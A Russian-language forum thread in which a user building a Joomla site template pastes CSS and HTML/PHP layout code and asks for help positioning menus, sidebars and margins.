margin-bottom: 20px; } #system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;} /* System Error Messages */ #system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;} /* System Notice Messages */ #system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E; margin:0px; padding-left: 40px; text-indent:0px;} #syndicate{ float:left; padding-left: 25px; } grey /*****************************/ /*** Core html setup stuff ***/ /*****************************/ .button, .inputbox { border: 1px solid #bfbfbf; background:#dcdcdc; color:#2d2d2d; } .button:hover, .inputbox:hover { background:#c9c9c9; } a:link, a:visited {color: #4e76d5;} a:hover, a:active, a:focus {color: #0046ed;} body {background: #ececec;} body, td, div, p {color: #2d2d2d;} /*****************************************/ /*** Template specific layout elements ***/ /*****************************************/ #wrapper1 {background: url(../images/bkg_body_top.gif) top left repeat-x;} #wrapper2 {} #wrapper3 {background: #232323;} #header{background: url(../images/bkg_header.jpg) top left no-repeat;} #title_bkg { background: url(../images/bkg_title.jpg) top left no-repeat;} #title { color: #fff;} /**********************/ /*** Top Navigation ***/ /**********************/ #topnavi {background: url(../images/bkg_topnavi.gif) top left no-repeat;} #topnavi ul {background: url(../images/bkg_but_separator.gif) top left no-repeat;} #topnavi ul li {background: url(../images/bkg_but_separator.gif) top right no-repeat;} #topnavi ul li a {background:url(../images/bkg_but_l.gif) top left no-repeat;} #topnavi ul li a span{color: #e2ecf2; background:url(../images/bkg_but_r.gif) top right no-repeat;} #topnavi ul li a:hover, #topnavi li#current a {background:url(../images/bkg_but_l.gif) bottom left no-repeat;} #topnavi ul li a:hover span, #topnavi li#current a span{color: #000; background:url(../images/bkg_but_r.gif) bottom right no-repeat;} /**********************/ /*** User 4 (Search menu) ***/ /**********************/ #search { background: url(../images/bkg_search.jpg) top left no-repeat; } #search div.search .inputbox{ border: none; background: transparent; color:#c9c9c9; } /**********************/ /*** Top (Newsflash) ***/ /**********************/ #header_text table.contentpaneopen, #header_text table.contentpaneopen td, #header_text table.contentpaneopen td p { } #header_text table.contentpaneopen a { } /**********************/ /*** Main Body ***/ /**********************/ #main{} /**********************/ /*** Left Column ***/ /**********************/ #leftcol h3{ color: #fff; background: url(../images/bkg_leftheader.gif) top left no-repeat; } #leftcol div.module_menu div div, #leftcol div.module div div, #leftcol div.module_text div div{ background: transparent url(../images/bkg_leftmenu_top.gif) top left no-repeat; } #leftcol div.module_menu div div div, #leftcol div.module div div div, #leftcol div.module_text div div div{ background: transparent url(../images/bkg_leftmenu_bot.gif) bottom left no-repeat; } #leftcol div.module_menu div div div div, #leftcol div.module div div div div, #leftcol div.module_text div div div div {background: transparent;} #leftcol div.module_menu , #leftcol div.module, #leftcol div.moduletable, #leftcol div.module_text { background: transparent url(../images/bkg_leftmenu_mid.gif) top left repeat-y; } #leftcol a:link, #leftcol a:visited {color:#4e76d5;} #leftcol a:hover, #leftcol a:active {color:#0046ed;} /**********************/ /*** Right Column ***/ /**********************/ #rightcol h3{ color: #fff; background: url(../images/bkg_rightheader.gif) top left no-repeat; } #rightcol div.module_menu div div, #rightcol div.module div div, #rightcol div.module_text div div{ background: transparent url(../images/bkg_rightmenu_top.gif) top left no-repeat; } #rightcol div.module_menu div div div, #rightcol div.module div div div, #rightcol div.module_text div div div{ background: transparent url(../images/bkg_rightmenu_bot.gif) bottom left no-repeat; } #rightcol div.module_menu div div div div, #rightcol div.module div div div div, #rightcol div.module_text div div div div {background: transparent;} #rightcol div.module_menu , #rightcol div.module, #rightcol div.moduletable, #rightcol div.module_text { background: transparent url(../images/bkg_rightmenu_mid.gif) top left repeat-y; } #rightcol a:link, #rightcol a:visited {color:#4e76d5;} #rightcol a:hover, #rightcol a:active {color:#0046ed; text-decoration:underline;} /******************************************************************/ /* Controls Link Icon appearance in side modules */ /******************************************************************/ #leftcol ul.menu li a, #leftcol ul.menu li ul li a, #rightcol ul.menu li a, #rightcol ul.menu li ul li a, #leftcol ul#mainlevel li a, #leftcol ul#mainlevel li ul li a, ul.mostread li a, ul.latestnews li a, .moduletable ul li a { border-bottom: 1px solid #bfbfbf; } #leftcol ul.menu li a:hover, #leftcol ul.menu li#current a, #leftcol ul.menu li ul li a:hover, #rightcol ul.menu li a:hover, #rightcol ul.menu li#current a, #rightcol ul.menu li ul li a:hover, #leftcol ul#mainlevel li a:hover, #leftcol ul#mainlevel li a#active_menu, #leftcol ul#mainlevel li ul li a:hover, ul.mostread li a:hover, ul.latestnews li a:hover, .moduletable ul li a:hover { color: #0046ed; background: #d6d6d6; border-bottom: 1px solid #bfbfbf; } /**********************/ /*** Main Content Menu ***/ /**********************/ .componentheading {color: #303030; text-align:center; } .contentheading {color: #000;} .contentpaneopen h3 {color: #000;} #pathway {color:#3f3f3f;} .small, .createdate, .modifydate {color:#6f84a8;} a.readon, a.readon:hover, a.readon:visited{ background: url(../images/bkg_readmore.png) top left no-repeat; } /**************************/ /*** Advertisement Menu ***/ /**************************/ /*******************/ /*** Login Form ***/ /*******************/ /*************/ /*** Polls ***/ /*************/ td.sectiontableheader { border-right: 1px solid #ececec; color: #2d2d2d; background: #fefefe; } /******************/ /*** Copyright ***/ /******************/ #copyright { color:#fff; } #copyright a:link, #copyright a:active, #copyright a:visited { color:#7197ef; }
-
Помогите пожалуйста. Если надо код, скажите какой?
-
Помогите пожалуйста! Весь измучался!! css /********************************* GENERAL NASTROYKA CSS **************************************/ html { height: 100%; } * { margin: 0; padding: 0; } body { font-family: Tahoma, Arial, Verdana, sans-serif; background-color: #DFEFF5; font-size: 14px; min-height: 100%; padding: 0 10px 10px 10px; } p { font-family: Tahoma, Arial, Verdana, sans-serif; font-size: 14px; line-height: 20px; } a { color: #4D4946; outline: none; text-decoration: none; } a:hover { color: #FF0000; outline: none; text-decoration: underline; } /**************************************************************************************************/ /*************************************** WRAPPER *************************************************/ } img { border: none; } input { vertical-align: middle; } #wrapper { width: 100%; margin: 0 auto; } /**************************************************************************************************/ /******************************************** HEADER **********************************************/ #header { height: 150px; background: #FFE680; margin-bottom: 15px; border-radius: 0 0 15px 15px; } /**************************************************************************************************/ /******************************************** TOP MENU ********************************************/ #top_menu { border-radius: 15px 15px 15px 15px; background: url(../images/menu_bg.png) repeat-x 0 0 #FE4C2B; height: 48px; line-height: 48px; overflow: hidden; padding-left: 20px; margin-bottom: 15px; } #top_menu a { color: #fff; font-weight: bold; display: block; float: left; padding: 1px 10px; position: relative; text-decoration: none; font-size: 13px; font-family: Tahoma, Arial,Helvetica,Garuda,sans-serif; } #top_menu a:hover{ background: url(../images/menu_hover.png) repeat-x 0 2px #B70515; } * { margin: 20; padding: 0; } ul, ol { list-style: none; } img { border: none; } :focus { outline: 0; } .border-menu { position: absolute; top: 0; right: 0; margin-left: 10px; } /**************************************************************************************************/ /*********************************************** MIDLE ********************************************/ #middle { border-left: 250px solid #B5E3FF; border-right: 250px solid #FFACAA; height: 1%; position: relative; border-radius: 15px 15px 15px 15px; } #middle:after { content: '.'; display: block; clear: both; visibility: hidden; height: 0; } #container { width: 100%; float: left; overflow: hidden; margin-right: -100%; } #content { padding: 0 20px; background-color: #FFFFFF; margin-right: 10px; margin-left: 10px; border-radius: 15px 15px 15px 15px; } /**************************************************************************************************/ /*************************************** LEFT SIDEBAR *******************************************/ #sideLeft { float: left; width: 250px; position: relative; background: #B5E3FF; left: -250px; margin-right: 15px; border-radius: 15px 15px 15px 15px; } /**************************************************************************************************/ /**************************************** RIGHT SIDEBAR *****************************************/ #sideRight { float: right; margin-right: -250px; width: 250px; position: relative; background: #FFACAA; margin-left: 15px; border-radius: 15px 15px 15px 15px; } /**************************************************************************************************/ /******************************************** FOOTER ********************************************/ #footer { height: 100px; background: #BFF08E; margin-top: 15px; border-radius: 15px 15px 15px 15px; } /**************************************************************************************************/ /****************************************** DOPOLNENIE ******************************************/ * html #wrapper, * html #footer { width: expression( (document.compatMode && document.compatMode == 'CSS1Compat') ? (document.documentElement.clientWidth < 1000 ? "1000px" : (document.documentElement.clientWidth > 3000 ? "3000px" : "auto")) : (document.body.clientWidth > 1000 ? "1000px" : (document.body.clientWidth < 3000 ? "3000px" : "auto"))); } /**************************************************************************************************/ html <body> <div id="wrapper"> <!———————————— HEADER —————————————————> <div id="header"> </div> <!———————————-- END HEADER ————————————————-> <!———————————— TOP MENU ————————————————--> <div id="top_menu"> <a><img class="border-menu" src="images/menu_border.png"></a> <a href="http://localhost/mixa/">Главная<img class="border-menu" src="images/menu_border.png"></a> <a href="http://localhost/mixa/o-sayte.html">О сайте<img class="border-menu" src="images/menu_border.png"></a> <a href="http://localhost/mixa/2012-10-23-19-33-04/1.html">Отзывы<img class="border-menu" src="images/menu_border.png"></a> <a href="http://localhost/mixa/karta-sayta.html">Карта сайта<img class="border-menu" src="images/menu_border.png"></a> <jdoc:include type="modules" name="header-2" style="xhtml"/> </div> <!————————————- END TOP MENU ———————————————> <!—————————————- MIDLE ————————————————-> <div id="middle"> <!—————————————- CONTENT ———————————————--> <div id="container"> <div id="content"> <jdoc:include type="component" /> </div> </div> <!—————————————- END CONTENT ——————————————-> <!—————————————- LEFT SIDEBAR ——————————————> <div class="sidebar" id="sideLeft"> <jdoc:include type="modules" name="sidebar-1" style="xhtml"/> </div> <!————————————— END LEFT SIDEBAR —————————————-> <!—————————————-- RIGHT SIDEBAR —————————————--> <div class="sidebar" id="sideRight"> <jdoc:include type="modules" name="sidebar-2" style="xhtml"/> </div> <!————————————— END RIGHT SIDEBAR ————————————--> </div> <!————————————-- END MIDLE ———————————————--> <!—————————————- FOOTER ————————————————> <div id="footer"> <p>Автор: Тушинский Михаил Михайлович.<br>Все права защищены © 2012 года.</p> <jdoc:include type="modules" name="footer" style="xhtml"/> </div> <!————————————-- END FOOTER ———————————————-> </div> <!————————————-- END WRAPPER ———————————————-> </body>
-
Спасибо большое очень помогли. А может еще подскажете как сделать отступ с лева у данного тега <div>
-
Товарищи помогите пожалуйста разобраться с дизайном. Нужно 1 и 2 пункты подтянуть вверх, а в 3 нужно сделать расстояние. Только пожалуйсто опишите все от начала и до конца. Я уже все перепробовал и все без результата. Просто данный шаблон я создавал сам и поэтому его нужно с нуля редактировать. CSS тоже нужно самому состовлять. Заранее благодарен за помощь... И на всякий случай: index.php <body> <table border="0" cellpadding="0" cellspacing="5" width="100%" style="border-bottom:1px solid #E6E6E6;" height="100%"> <tr align="center"> <td class="header-1" colspan="3"></td> </tr> <tr> <td class="header-2" colspan="3"> <jdoc:include type="modules" name="header-2" style="xhtml"/> </td> </tr> <tr> <td class="sidebar-1" id="sidebar-1_img" align="center" rowspan="2" > <jdoc:include type="modules" name="sidebar-1" style="xhtml"/> </td> <td class="toolbar" align="center" rowspan="2" > <jdoc:include type="component" /> </td> <td class="sidebar-2" id="sidebar-2_img" align="center" rowspan="2"> <jdoc:include type="modules" name="sidebar-2" style="xhtml"/> </td> </tr> <tr align="center"> </tr> <tr align="center"> <td class="footer" align="center" colspan="3"> <p class="footer-text">Автор: Тушинский Михаил Михайлович. <br>Все права защищены © 2012 года.</p> <jdoc:include type="modules" name="footer" style="xhtml"/> </td> </tr> </table> </body> CSS p { font-family: Tahoma, Verdana; font-size: 14px; color: #000000; } body { background-color: #DFF0F8; font-family: Tahoma, Verdana; } .header-1 { width: 100%; height: 100px; background-color: #ffffff; border-radius: 10px; border: 1px solid black; } .header-2 { width: 100%; height: 30px; font-size: 14px; color: #000; background-color: #F5381D; border-radius: 5px; border: 1px solid black; padding-left: 30px; } .sidebar-1 { width: 20%; background-color: #F2F9FC; font-size: 13px; border-radius: 10px; border: 1px solid black; } .sidebar-2 { width: 20%; background-color: #F2F9FC; padding-top: 0px; font-size: 13px; border-radius: 10px; border: 1px solid black; } .toolbar { background-color: #fff; color: #000000; text-align: left; padding: 5px; font-size: 13px; border-radius: 10px; border: 1px solid black; margin-right:5px; } .footer { width: 100%; height: 30px; background-color: #94BDC5; border-radius: 10px; border: 1px solid black; } .footer-text { font-size: 12px; } #sidebar-1_img h3, #sidebar-2_img h3 { background: url(../images/h3.jpg) top center no-repeat; height: 44px; width: 200px; text-decoration: none; font-weight: bold; line-height: 40px; margin: 0; padding: 0; }